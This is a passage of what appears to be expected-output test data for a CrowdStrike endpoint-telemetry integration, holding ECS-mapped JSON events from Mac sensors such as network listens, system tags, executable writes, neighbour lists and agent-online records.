"{\"event_simpleName\":\"NetworkListenIP6\",\"ContextTimeStamp\":\"1625622608.014\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"ConfigStateHash\":\"3967242894\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364938390018585510\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"8770\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP6MacV10\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677478929\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff44564c2f8d76394cb25c31ab", - "os": { - "type": "macos" - } - }, - "message": "NetworkListenIP6", - "network": { - "direction": "unknown", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff44564c2f8d76394cb25c31ab", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364938390018585510" - }, - "related": { - "hash": [ - "3967242894" - ], - "ip": [ - "67.43.156.13", - "0:0:0:0:0:0:0:0" - ] - }, - "source": { - "address": "0:0:0:0:0:0:0:0", - "ip": "0:0:0:0:0:0:0:0", - "port": 8770 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:02.693Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "SystemTableIndex": 0, - "Tags": [ - "312", - "11544872091698", - "21990232555653", - "21990232555859", - "26388279066700", - "26388279066703", - "26388279066704", - "26388279066705", - "26388279066708", - "26388279066849", - "26388279066855", - "26388279066948", - "26388279066958", - "26388279066970", - "26388279067150", - "26388279067174", - "26388279067175", - "26405458935929", - "26405458935963", - "26405458935964", - "26405458936063", - "26405458936087", - "26405458936088", - "26405458936130", - "26405458936163", - "26405458936164", - "26405458936166", - "26405458936167", - "26405458936242", - "26405458936306", - "26405458936307", - "26405458936357", - "26405458936510", - "26405458936511", - "26405458936522", - "26405458936523", - "26422638805193", - "26422638805230", - "26422638805244", - "26422638805245", - "26422638805246", - "26439818674539", - "26439818674540", - "26439818674541", - "26439818674542", - "26439818674543", - "26439818674544", - "26439818674614", - "26439818674615", - "26439818674616", - "26439818674617", - "26439818674678", - "26439818674679", - "26439818674680", - "26439818674882", - "26439818674883", - "26439818674884", - "26439818674894", - "26439818674895", - "26439818674896", - "26456998543646", - "26456998543647", - "26456998543648", - "26456998543649", - "26456998543650", - "26456998543651", - "26456998543652", - "26456998543653", - "26456998543654", - "26456998543656", - "26456998543721", - "26456998543722", - "26456998543744", - "26456998543793", - "26456998543811", - "26456998543903", - "26456998543904", - "26456998543950", - "26456998543963", - "26456998544000", - "26456998544045", - "26456998544086", - "26456998544087", - "26456998544115", - "30803505447073", - "30803505447074", - "30803505447075", - "30803505447076", - "30803505447077", - "30803505447078", - "30803505447194", - "30803505447195", - "30803505447196", - "30803505447528", - "30803505447529", - "30803505447530", - "30803505447532", - "30803505447533", - "30803505447534", - "30803505447537", - "30803505447538", - "30803505447539", - "30803505447541", - "30803505447542", - "30803505447543", - "30803505447567", - "30803505447568", - "30803505447569", - "30803505447571", - "30803505447572", - "30803505447573", - "30803505447575", - "30803505447576", - "30803505447577", - "30803505447579", - "30803505447580", - "30803505447581", - "30803505447583", - "30803505447584" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7", - "name": "CurrentSystemTagsMacV1" - }, - "device": { - "id": "ffffffff62714a708030d494ca0a7e60" - }, - "event": { - "action": "CurrentSystemTags", - "category": [ - "host" - ], - "created": "2021-07-07T17:05:02.693Z", - "id": "ffffffff-1111-11eb-b88d-06b7cb0d7bd7|ffffffff62714a708030d494ca0a7e60|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"event_simpleName\":\"CurrentSystemTags\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"SystemTableIndex\":\"0\",\"Entitlements\":\"15\",\"name\":\"CurrentSystemTagsMacV1\",\"id\":\"ffffffff-1111-11eb-b88d-06b7cb0d7bd7\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff62714a708030d494ca0a7e60\",\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584\",\"timestamp\":\"1625677502693\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffff62714a708030d494ca0a7e60", - "os": { - "type": "macos" - } - }, - "message": "CurrentSystemTags", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff62714a708030d494ca0a7e60", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:33.060Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "ContextProcessId": "362208380891022165", - "ContextTimeStamp": "2021-07-07T17:05:33.027Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "SHA256HashData": "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005", - "VnodeModificationType": "0", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-985c-02152dd35bc1", - "name": "NewExecutableWrittenMacV2" - }, - "device": { - "id": "ffffffff28414c2293e35c360213e723" - }, - "event": { - "action": "NewExecutableWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:05:33.060Z", - "id": "ffffffff-1111-11eb-985c-02152dd35bc1|ffffffff28414c2293e35c360213e723|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"NewExecutableWritten\",\"ContextTimeStamp\":\"1625677533.027\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"362208380891022165\",\"Size\":\"596224\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NewExecutableWrittenMacV2\",\"id\":\"ffffffff-1111-11eb-985c-02152dd35bc1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff28414c2293e35c360213e723\",\"timestamp\":\"1625677533060\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader\",\"VnodeModificationType\":\"0\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS", - "hash": { - "sha256": "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005" - }, - "name": "app_mode_loader", - "path": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader", - "size": 596224, - "type": "file" - }, - "host": { - "id": "ffffffff28414c2293e35c360213e723", - "os": { - "type": "macos" - } - }, - "message": "NewExecutableWritten", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff28414c2293e35c360213e723", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "362208380891022165", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005", - "1620585913" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:03:48.827Z", - "crowdstrike": { - "AttemptNumber": 0, - "ConfigStateHash": "3090255842", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "LfoUploadFlags": "4", - "SHA256HashData": "d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a", - "Tags": [ - "312", - "11544872091698", - "21990232555653", - "21990232555859", - "26388279066700", - "26388279066703", - "26388279066704", - "26388279066705", - "26388279066708", - "26388279066849", - "26388279066855", - "26388279066948", - "26388279066958", - "26388279066970", - "26388279067150", - "26388279067174", - "26388279067175", - "26405458935929", - "26405458935963", - "26405458935964", - "26405458936063", - "26405458936087", - "26405458936088", - "26405458936130", - "26405458936163", - "26405458936164", - "26405458936166", - "26405458936167", - "26405458936242", - "26405458936306", - "26405458936307", - "26405458936357", - "26405458936510", - "26405458936511", - "26405458936522", - "26405458936523", - "26422638805193", - "26422638805230", - "26422638805244", - "26422638805245", - "26422638805246", - "26439818674539", - "26439818674540", - "26439818674541", - "26439818674542", - "26439818674543", - "26439818674544", - "26439818674614", - "26439818674615", - "26439818674616", - "26439818674617", - "26439818674678", - "26439818674679", - "26439818674680", - "26439818674882", - "26439818674883", - "26439818674884", - "26439818674894", - "26439818674895", - "26439818674896", - "26456998543646", - "26456998543647", - "26456998543648", - "26456998543649", - "26456998543650", - "26456998543651", - "26456998543652", - "26456998543653", - "26456998543654", - "26456998543656", - "26456998543721", - "26456998543722", - "26456998543744", - "26456998543793", - "26456998543811", - "26456998543903", - "26456998543904", - "26456998543950", - "26456998543963", - "26456998544000", - "26456998544045", - "26456998544086", - "26456998544087", - "26456998544115", - "30803505447073", - "30803505447074", - "30803505447075", - "30803505447076", - "30803505447077", - "30803505447078", - "30803505447194", - "30803505447195", - "30803505447196", - "30803505447528", - "30803505447529", - "30803505447530", - "30803505447532", - "30803505447533", - "30803505447534", - "30803505447537", - "30803505447538", - "30803505447539", - "30803505447541", - "30803505447542", - "30803505447543", - "30803505447567", - "30803505447568", - "30803505447569", - "30803505447571", - "30803505447572", - "30803505447573", - "30803505447575", - "30803505447576", - "30803505447577", - "30803505447579", - "30803505447580", - "30803505447581", - "30803505447583", - "30803505447584" - ], - "UploadId": "8023668629276690295", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-a2ab-024aafff599f", - "name": "LfoUploadDataCompleteMacV3" - }, - "device": { - "id": "fffffffffbea48169985c2c2bae89d1d" - }, - "event": { - "action": "LfoUploadDataComplete", - "category": [ - "file" - ], - "created": "2021-07-07T17:03:48.827Z", - "id": "ffffffff-1111-11eb-a2ab-024aafff599f|fffffffffbea48169985c2c2bae89d1d|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"LfoUploadDataComplete\",\"LfoUploadFlags\":\"4\",\"AttemptNumber\":\"0\",\"ConfigStateHash\":\"3090255842\",\"SourceFileName\":\"/Users/user5/.rbenv/versions/2.6.5/bin/ruby\",\"Size\":\"3876424\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a\",\"UploadId\":\"8023668629276690295\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LfoUploadDataCompleteMacV3\",\"id\":\"ffffffff-1111-11eb-a2ab-024aafff599f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffffbea48169985c2c2bae89d1d\",\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584\",\"timestamp\":\"1625677428827\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "directory": "/Users/user5/.rbenv/versions/2.6.5/bin", - "name": "ruby", - "path": "/Users/user5/.rbenv/versions/2.6.5/bin/ruby", - "size": 3876424, - "type": "file" - }, - "host": { - "id": "fffffffffbea48169985c2c2bae89d1d", - "os": { - "type": "macos" - } - }, - "message": "LfoUploadDataComplete", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "fffffffffbea48169985c2c2bae89d1d", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a", - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:13.146Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "LightningLatencyState": "3", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b", - "name": "LightningLatencyInfoMacV1" - }, - "device": { - "id": "ffffffffd452449b8d1eb7d85b146650" - }, - "event": { - "action": "LightningLatencyInfo", - "created": "2021-07-07T17:04:13.146Z", - "id": "ffffffff-1111-11eb-b44e-069a02b0ad6b|ffffffffd452449b8d1eb7d85b146650|ffffffff15754bcfb5f9152ec7ac90ac", - "original": "{\"event_simpleName\":\"LightningLatencyInfo\",\"LightningLatencyState\":\"3\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LightningLatencyInfoMacV1\",\"id\":\"ffffffff-1111-11eb-b44e-069a02b0ad6b\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffd452449b8d1eb7d85b146650\",\"timestamp\":\"1625677453146\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" - }, - "host": { - "id": "ffffffffd452449b8d1eb7d85b146650", - "os": { - "type": "macos" - } - }, - "message": "LightningLatencyInfo", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffd452449b8d1eb7d85b146650", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:10.083Z", - "crowdstrike": { - "ConfigStateHash": "1620585913", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InterfaceIndex": 6, - "NeighborList": [ - "40-C7-29-FF-FF-FF", - "192.168.2.1", - "1", - "64-9A-BE-FF-FF-FF", - "192.168.2.10", - "0", - "F0-FF-FF-FF-A0-14", - "192.168.2.43", - "0", - "DE-58-FF-FF-5D-3B", - "192.168.2.113", - "0", - "5E-AA-FF-FF-FF-20", - "192.168.2.128", - "0", - "44-FF-FF-FF-03-DD", - "192.168.2.136", - "0", - "EE-74-EE-EE-FF-0D", - "192.168.2.137", - "0", - "3A-FF-FF-FF-03-26", - "192.168.2.144", - "0", - "DE-79-FF-FF-FF-D4", - "192.168.2.145", - "0", - "0E-24-FF-EE-EE-87", - "192.168.2.152", - "0", - "CC-D9-AC-AF-66-F8", - "192.168.2.153", - "0" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9dc0-06c6f5278873", - "name": "NeighborListIP4MacV1" - }, - "device": { - "id": "ffffffff8eb649cf8d82be1e65629a0e" - }, - "event": { - "action": "NeighborListIP4", - "category": [ - "host", - "network" - ], - "created": "2021-07-07T17:04:10.083Z", - "id": "ffffffff-1111-11eb-9dc0-06c6f5278873|ffffffff8eb649cf8d82be1e65629a0e|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"event_simpleName\":\"NeighborListIP4\",\"ConfigStateHash\":\"1620585913\",\"NeighborList\":\"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NeighborListIP4MacV1\",\"id\":\"ffffffff-1111-11eb-9dc0-06c6f5278873\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff8eb649cf8d82be1e65629a0e\",\"timestamp\":\"1625677450083\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "unknown", - "type": [ - "info" - ] - }, - "host": { - "id": "ffffffff8eb649cf8d82be1e65629a0e", - "os": { - "type": "macos" - } - }, - "message": "NeighborListIP4", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff8eb649cf8d82be1e65629a0e", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "1620585913" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:14.723Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "365039419134863763", - "ContextTimeStamp": "2021-07-07T17:04:14.557Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-ab6e-0668ec51180b", - "name": "ZipFileWrittenMacV1" - }, - "device": { - "id": "ffffffff2d984e32b702789b54f0f811" - }, - "event": { - "action": "ZipFileWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:04:14.723Z", - "id": "ffffffff-1111-11eb-ab6e-0668ec51180b|ffffffff2d984e32b702789b54f0f811|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"ZipFileWritten\",\"ContextTimeStamp\":\"1625677454.557\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365039419134863763\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"07000001000000000000000000000000b1445a0900000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ZipFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-ab6e-0668ec51180b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff2d984e32b702789b54f0f811\",\"timestamp\":\"1625677454723\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache", - "extension": "zip", - "inode": "07000001000000000000000000000000b1445a0900000000", - "name": "2021-07-06T23:44:46.133Z.zip", - "path": "/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip", - "type": "file" - }, - "host": { - "id": "ffffffff2d984e32b702789b54f0f811", - "os": { - "type": "macos" - } - }, - "message": "ZipFileWritten", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff2d984e32b702789b54f0f811", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "365039419134863763", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:20.451Z", - "crowdstrike": { - "AgentLoadFlags": "0", - "AgentLocalTime": "2021-07-07T17:04:05.731Z", - "BiosManufacturer": "Apple Inc.", - "BiosReleaseDate": "2021-01-06T00:00:00.000Z", - "BiosVersion": "1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)", - "ChasisManufacturer": "Apple Inc.", - "ChassisType": "9", - "ConfigBuild": "1007.4.0013701.1", - "ConfigIDBase": "65994753", - "ConfigIDBuild": "13701", - "ConfigIDPlatform": "4", - "ConfigStateHash": "3967242894", - "ConfigurationVersion": "10", - "ContextTimeStamp": "2021-07-07T17:04:05.731Z", - "CpuFeaturesMask": "7494065083858915", - "CpuSignature": "591594", - "CpuVendor": "0", - "EffectiveTransmissionClass": "0", - "Entitlements": "15", - "MicrocodeSignature": "16045690984229358334", - "MoboManufacturer": "Apple Inc.", - "MoboProductName": "Mac-E1008331FDC96864", - "ProvisionState": "1", - "SystemManufacturer": "Apple Inc.", - "SystemProductName": "MacBookPro16,1", - "SystemSerialNumber": "C02F649EMD6R", - "SystemSku": " ", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-b3de-06a53f021cc9", - "name": "AgentOnlineMacV13" - }, - "device": { - "id": "ffffffffbea440b9aad8b5bf222d303f" - }, - "event": { - "action": "AgentOnline", - "category": [ - "configuration", - "package", - "host" - ], - "created": "2021-07-07T17:04:20.451Z", - "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"AgentVersion\":\"6.24.13701.0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"BiosReleaseDate\":\"01/06/2021\",\"CpuFeaturesMask\":\"7494065083858915\",\"ChasisManufacturer\":\"Apple Inc.\",\"SystemSerialNumber\":\"C02F649EMD6R\",\"event_platform\":\"Mac\",\"AgentLoadFlags\":\"0\",\"CpuVendor\":\"0\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"BiosVersion\":\"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)\",\"CpuSignature\":\"591594\",\"EffectiveTransmissionClass\":\"0\",\"MoboProductName\":\"Mac-E1008331FDC96864\",\"timestamp\":\"1625677460451\",\"MicrocodeSignature\":\"16045690984229358334\",\"event_simpleName\":\"AgentOnline\",\"ContextTimeStamp\":\"1625677445.731\",\"SystemProductName\":\"MacBookPro16,1\",\"MoboManufacturer\":\"Apple Inc.\",\"ConfigStateHash\":\"3967242894\",\"ConfigBuild\":\"1007.4.0013701.1\",\"SystemSku\":\" \",\"SensorGroupingTags\":\"\",\"ConfigurationVersion\":\"10\",\"AgentLocalTime\":\"1625677445.731\",\"BiosManufacturer\":\"Apple Inc.\",\"Entitlements\":\"15\",\"name\":\"AgentOnlineMacV13\",\"ConfigIDPlatform\":\"4\",\"ComputerName\":\"comp2\",\"ChassisType\":\"9\",\"ConfigIDBuild\":\"13701\",\"SystemManufacturer\":\"Apple Inc.\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"ProvisionState\":\"1\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"Zero\"}", - "outcome": "success", - "type": [ - "change", - "installation", - "start" - ] - }, - "file": { - "path": "Zero", - "type": "file" - }, - "host": { - "hostname": "comp2", - "id": "ffffffffbea440b9aad8b5bf222d303f", - "name": "comp2", - "os": { - "type": "macos" - } - }, - "message": "AgentOnline", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffbea440b9aad8b5bf222d303f", - "version": "6.24.13701.0" - }, - "related": { - "hash": [ - "3967242894" - ], - "hosts": [ - "comp2" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:03:58.553Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "365053399098988534", - "ContextTimeStamp": "2021-07-07T17:03:58.515Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "UnixMode": "384", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-956a-02748d01bd3d", - "name": "CriticalFileAccessedMacV1" - }, - "device": { - "id": 